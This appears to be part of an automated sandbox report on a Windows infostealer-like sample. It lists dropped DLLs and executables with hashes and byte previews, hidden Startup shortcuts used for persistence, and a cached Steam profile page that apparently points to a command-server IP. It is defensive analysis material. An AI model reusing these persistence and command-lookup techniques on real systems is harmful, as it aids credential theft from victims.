SHA-512:	B1C9FCE9DEBB4DB3EA64E20F2155FF35955A9594370B9DD1502312778328A1F764DCD519F11B18581DAD1467A6B9A5798EF54B976C7B96DE1D5AA711200AE4D1
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="515944" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\AFIDGDBGCA.exe.log

Download File

Process:	C:\ProgramData\AFIDGDBGCA.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	425
Entropy (8bit):	5.353683843266035
Encrypted:	false
SSDEEP:	12:Q3La/KDLI4MWuPTAOKbbDLI4MWuPJKAVKhav:ML9E4KlKDE4KhKiKhk
MD5:	859802284B12C59DDBB85B0AC64C08F0
SHA1:	4FDDEFC6DB9645057FEB3322BE98EF10D6A593EE
SHA-256:	FB234B6DAB715ADABB23E450DADCDBCDDFF78A054BAF19B5CE7A9B4206B7492B
SHA-512:	8A371F671B962AE8AE0F58421A13E80F645FF0A9888462C1529B77289098A0EA4D6A9E2E07ABD4F96460FCC32AA87B0581CA4D747E77E69C3620BF1368BA9A67
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\BFIIEHJDBK.exe.log

Download File

Process:	C:\ProgramData\BFIIEHJDBK.exe
File Type:	CSV text
Category:	modified
Size (bytes):	425
Entropy (8bit):	5.353683843266035
Encrypted:	false
SSDEEP:	12:Q3La/KDLI4MWuPTAOKbbDLI4MWuPJKAVKhav:ML9E4KlKDE4KhKiKhk
MD5:	859802284B12C59DDBB85B0AC64C08F0
SHA1:	4FDDEFC6DB9645057FEB3322BE98EF10D6A593EE
SHA-256:	FB234B6DAB715ADABB23E450DADCDBCDDFF78A054BAF19B5CE7A9B4206B7492B
SHA-512:	8A371F671B962AE8AE0F58421A13E80F645FF0A9888462C1529B77289098A0EA4D6A9E2E07ABD4F96460FCC32AA87B0581CA4D747E77E69C3620BF1368BA9A67
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\file.exe.log

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	CSV text
Category:	modified
Size (bytes):	425
Entropy (8bit):	5.353683843266035
Encrypted:	false
SSDEEP:	12:Q3La/KDLI4MWuPTAOKbbDLI4MWuPJKAVKhav:ML9E4KlKDE4KhKiKhk
MD5:	859802284B12C59DDBB85B0AC64C08F0
SHA1:	4FDDEFC6DB9645057FEB3322BE98EF10D6A593EE
SHA-256:	FB234B6DAB715ADABB23E450DADCDBCDDFF78A054BAF19B5CE7A9B4206B7492B
SHA-512:	8A371F671B962AE8AE0F58421A13E80F645FF0A9888462C1529B77289098A0EA4D6A9E2E07ABD4F96460FCC32AA87B0581CA4D747E77E69C3620BF1368BA9A67
Malicious:	true
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\66f4247d51812_lfdsjna[1].exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	377384
Entropy (8bit):	7.988522009011023
Encrypted:	false
SSDEEP:	6144:uXfqISDaHCXsYQkiJ0j0Zt/d/WCIRibFrzae5LpVGbM/5Pg+rq8ZrPbXbCEO:uCvXsWtI/dVHbdastVG2ycWEO
MD5:	0CEE1D66332DEC523210F62E479284B9
SHA1:	33F950916E13A6EC654C52160EE47E88C64A5724
SHA-256:	0A6A258BFDB9B1947F2945B44E274FF3F06A7C5C733FF83C2A71C5F911FA9CC0
SHA-512:	603AA4834C6D3A9F3B6B1629EEB2108CECFD7192110F0CF948F2971957A9231AD9D405D8424E3A41B32A8FF415D8F84E55AFDEC38BF996703093084162D11972
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...v#.f................................ ........@.. ....................................`.....................................W.......................(&..........\................................................ ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B.......................H.......................................................................M......\=.......S...!.}.S.t...&.P.i@..2...^.-...4.N.....^IG.X.C:,..<J......I{y]cf4s....O.....)..;.xoz......di.0a4Y.Z...yR....7U....8f....d.L..e.q.71.CW.BmK....L.$f.'.......O6..,-B.h(.....l.......}.H..7.$.....$.q.....y....b...@.g.@.B[..1.+....s.......I.rZo.d....d.]X.........6.......f..H..=#......5.X.e.!U]..}...#.....O..vo ..ZSI......G>.2.!....J...".^..l.../zm.w=\("........\|^V..[.L.\|.....

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\66f424e80b9cc_idsmds[1].exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	26112
Entropy (8bit):	5.587298385417451
Encrypted:	false
SSDEEP:	768:0Z7bBiDrq+NhJvjhTxhi8DD08T10DnS1RW:0ZErqqTxhZDA8TKS1RW
MD5:	168087C84C5FF3664E5E2F4EEC18D7DD
SHA1:	639E9E87103F576617ED08C50910CA92FE5C8C5B
SHA-256:	2A7CDB79045658B9C02EBBB159E5B3680D7D6D832DBD757572F7D202C3FA935D
SHA-512:	89491261E1234F917964566DEF4B1A50505BA4C2EB90D14C19E2130D78FE65CD61C4BBA685909109C7088B35E7FD48F6311ACE7A0DD8C703A6D1B1D23D1A54BB
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 11%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....p............"...0..\...........{... ........@.. ....................................`.................................h{..S.................................................................................... ............... ..H............text....[... ...\.................. ..`.rsrc................^..............@..@.reloc...............d..............@..B.................{......H.......tC...7............................................................((....s..........(3...2.{....(....2.{....(....6.\|.....(4...6.\|.....(4...6.\|.....(4...R.sE...%oF....`oG...F.(H...(I...(...+..oM...%:....&.(N....{.....oO...Z.{ ...r...p(....(Z...2.{"...(=...6.\|$....(4...6.\|(....(4...6.\|,....(4...6.\|4....(4...6.\|7....(4....(g...(...+.r...p(.....:...r/..p(.....;...sl....<...6.\|@....(4...6.\|G....(4...6.\|Q....(....6.\|T....(....6.\|X....(4...6.\|]....(4

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\76561199780418869[1].htm

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (3070), with CRLF, LF line terminators
Category:	dropped
Size (bytes):	34725
Entropy (8bit):	5.398120749804286
Encrypted:	false
SSDEEP:	768:udpqme0Ih3tAA6WG+2fcDAhTBv++nIjBtPF5zfJkPVoEAdLTBv++nIjBtPF5x2S+:ud8me0Ih3tAA6WG+2FhTBv++nIjBtPFf
MD5:	CDE5D72A6A45F92FE44521016B8DC172
SHA1:	B07E7DB62EBE2798B878C4574D9ECADA5232460D
SHA-256:	3932B223B1401DF93A1378AFE705ABA43D00DFD3AA0C965C63D25D12FA58758C
SHA-512:	08CD0BCED8ABD2F57AF500795C46F7009EF62D542F3CD68640345462DBBA2FD452103169366A9D6FCB5D136A07BD8F5F40B1090DFE0ED25F944FB50BC8362EF7
Malicious:	false
Preview:	<!DOCTYPE html>..<html class=" responsive" lang="en">..<head>...<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">.....<meta name="viewport" content="width=device-width,initial-scale=1">....<meta name="theme-color" content="#171a21">....<title>Steam Community :: u55u https://5.75.211.162\|</title>...<link rel="shortcut icon" href="/favicon.ico" type="image/x-icon">...........<link href="https://community.akamai.steamstatic.com/public/shared/css/motiva_sans.css?v=-DH0xTYpnVe2&l=english" rel="stylesheet" type="text/css" >.<link href="https://community.akamai.steamstatic.com/public/shared/css/buttons.css?v=PUJIfhtcQn7W&l=english" rel="stylesheet" type="text/css" >.<link href="https://community.akamai.steamstatic.com/public/shared/css/shared_global.css?v=ezWS9te9Zwm9&l=english" rel="stylesheet" type="text/css" >.<link href="https://community.akamai.steamstatic.com/public/css/globalv2.css?v=PAcV2zMBzzSV&l=english" rel="stylesheet" type="text/css" >.<link href

C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	26112
Entropy (8bit):	5.587298385417451
Encrypted:	false
SSDEEP:	768:0Z7bBiDrq+NhJvjhTxhi8DD08T10DnS1RW:0ZErqqTxhZDA8TKS1RW
MD5:	168087C84C5FF3664E5E2F4EEC18D7DD
SHA1:	639E9E87103F576617ED08C50910CA92FE5C8C5B
SHA-256:	2A7CDB79045658B9C02EBBB159E5B3680D7D6D832DBD757572F7D202C3FA935D
SHA-512:	89491261E1234F917964566DEF4B1A50505BA4C2EB90D14C19E2130D78FE65CD61C4BBA685909109C7088B35E7FD48F6311ACE7A0DD8C703A6D1B1D23D1A54BB
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 11%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....p............"...0..\...........{... ........@.. ....................................`.................................h{..S.................................................................................... ............... ..H............text....[... ...\.................. ..`.rsrc................^..............@..@.reloc...............d..............@..B.................{......H.......tC...7............................................................((....s..........(3...2.{....(....2.{....(....6.\|.....(4...6.\|.....(4...6.\|.....(4...R.sE...%oF....`oG...F.(H...(I...(...+..oM...%:....&.(N....{.....oO...Z.{ ...r...p(....(Z...2.{"...(=...6.\|$....(4...6.\|(....(4...6.\|,....(4...6.\|4....(4...6.\|7....(4....(g...(...+.r...p(.....:...r/..p(.....;...sl....<...6.\|@....(4...6.\|G....(4...6.\|Q....(....6.\|T....(....6.\|X....(4...6.\|]....(4

C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe

Download File

Process:	C:\ProgramData\AFIDGDBGCA.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	26112
Entropy (8bit):	5.587298385417451
Encrypted:	false
SSDEEP:	768:0Z7bBiDrq+NhJvjhTxhi8DD08T10DnS1RW:0ZErqqTxhZDA8TKS1RW
MD5:	168087C84C5FF3664E5E2F4EEC18D7DD
SHA1:	639E9E87103F576617ED08C50910CA92FE5C8C5B
SHA-256:	2A7CDB79045658B9C02EBBB159E5B3680D7D6D832DBD757572F7D202C3FA935D
SHA-512:	89491261E1234F917964566DEF4B1A50505BA4C2EB90D14C19E2130D78FE65CD61C4BBA685909109C7088B35E7FD48F6311ACE7A0DD8C703A6D1B1D23D1A54BB
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 11%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....p............"...0..\...........{... ........@.. ....................................`.................................h{..S.................................................................................... ............... ..H............text....[... ...\.................. ..`.rsrc................^..............@..@.reloc...............d..............@..B.................{......H.......tC...7............................................................((....s..........(3...2.{....(....2.{....(....6.\|.....(4...6.\|.....(4...6.\|.....(4...R.sE...%oF....`oG...F.(H...(I...(...+..oM...%:....&.(N....{.....oO...Z.{ ...r...p(....(Z...2.{"...(=...6.\|$....(4...6.\|(....(4...6.\|,....(4...6.\|4....(4...6.\|7....(4....(g...(...+.r...p(.....:...r/..p(.....;...sl....<...6.\|@....(4...6.\|G....(4...6.\|Q....(....6.\|T....(....6.\|X....(4...6.\|]....(4

C:\Users\user\AppData\Local\Temp\delays.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	ISO-8859 text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	1048575
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:qQQt:rQt
MD5:	96728C7F2883E75CB384DABAB17C20A5
SHA1:	66B72E477C6D8253D6A67EC9CC2B172BB9D504F5
SHA-256:	A4E52D874562D42D4780AD2ED449153FACDE1FA82D3813E9D7D30AEA9D09D742
SHA-512:	2D7399F9D652825940BF669FF1F46E290EF363CA523D1338DCC9CCE7CA30F973F7602FC48AE9C7A0640F00EC460C1D776B151263F7EAA44E1EC9B8508C244035
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_0023ffb71eba4e1cb3248efd79b484ea.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:38 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.916653434069287
Encrypted:	false
SSDEEP:	24:8dLP2Bf/P48EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8dLE3FEvZ0yRO7DLO2zdxdRd1kyg
MD5:	36F4C0E3B29F5B7BB32503F6913DE2ED
SHA1:	5C36527117F6D6833424ABAFEFEC633F86C0F481
SHA-256:	E659B5E675AB1C71E956892D0ABC500A4C9DE0085C0AFBAE5B2738F336DA2BBD
SHA-512:	0DAFA5B761ACF719D730209F85E45FD9CC1A741C4C4E175E0B2AFC66B9303AA560B8683DF6EF840C6F44B8AC6087DEFC1D370956C9CDD437203B7024DA3FCD94
Malicious:	false
Preview:	L..................F....".......d....0.{d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....0.{d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_0026f6b6a8d748459d8150753df23a97.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:04:03 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.914254167044569
Encrypted:	false
SSDEEP:	24:8z2BfQ8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8z89EvZ0yRO7DLO2zdxdRd1kyg
MD5:	58CE6A17477C9157F518CB1EBD974210
SHA1:	9D47DAE600C9C9C7F148AABC765C603CEC362969
SHA-256:	768EB997768237C58A4B284582789303E1CDD9ECBFC4E4C6A700D3331C7D8F5E
SHA-512:	954220F50419CA2874003C29F9854106B0861988B8C2E269D47447242C844FE6CB08F5ED2B19EE75158BCA0C5C2BF2D96F219D90BE5BF595D56DEEE6EEA1D537
Malicious:	false
Preview:	L..................F....".......d....2..d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...2...d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_00bfecaf73094e878a5af9b7d9e38368.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:40 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.919821898322078
Encrypted:	false
SSDEEP:	24:8nqBfX48EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8oP9EvZ0yRO7DLO2zdxdRd1kyg
MD5:	BC219052D2A27ECE2F0145D3D988E90C
SHA1:	08A698F2F09B103084AF67A1C9ADF1E6E77BFC27
SHA-256:	E9B16A8B1FC5F8881621F6B5581E7B5B3B3B86F06CCDD49CE4C0FAE6EF37FE91
SHA-512:	ACA68946F986537508939D6BE132DAF853AF39108159BE418B5B8B903F64A958601712082E41DC3EC01BFDE9F1358CB33270F8EE94FBDF5C9D511CBFB860C309
Malicious:	false
Preview:	L..................F....".......d.....}d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....6.}d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

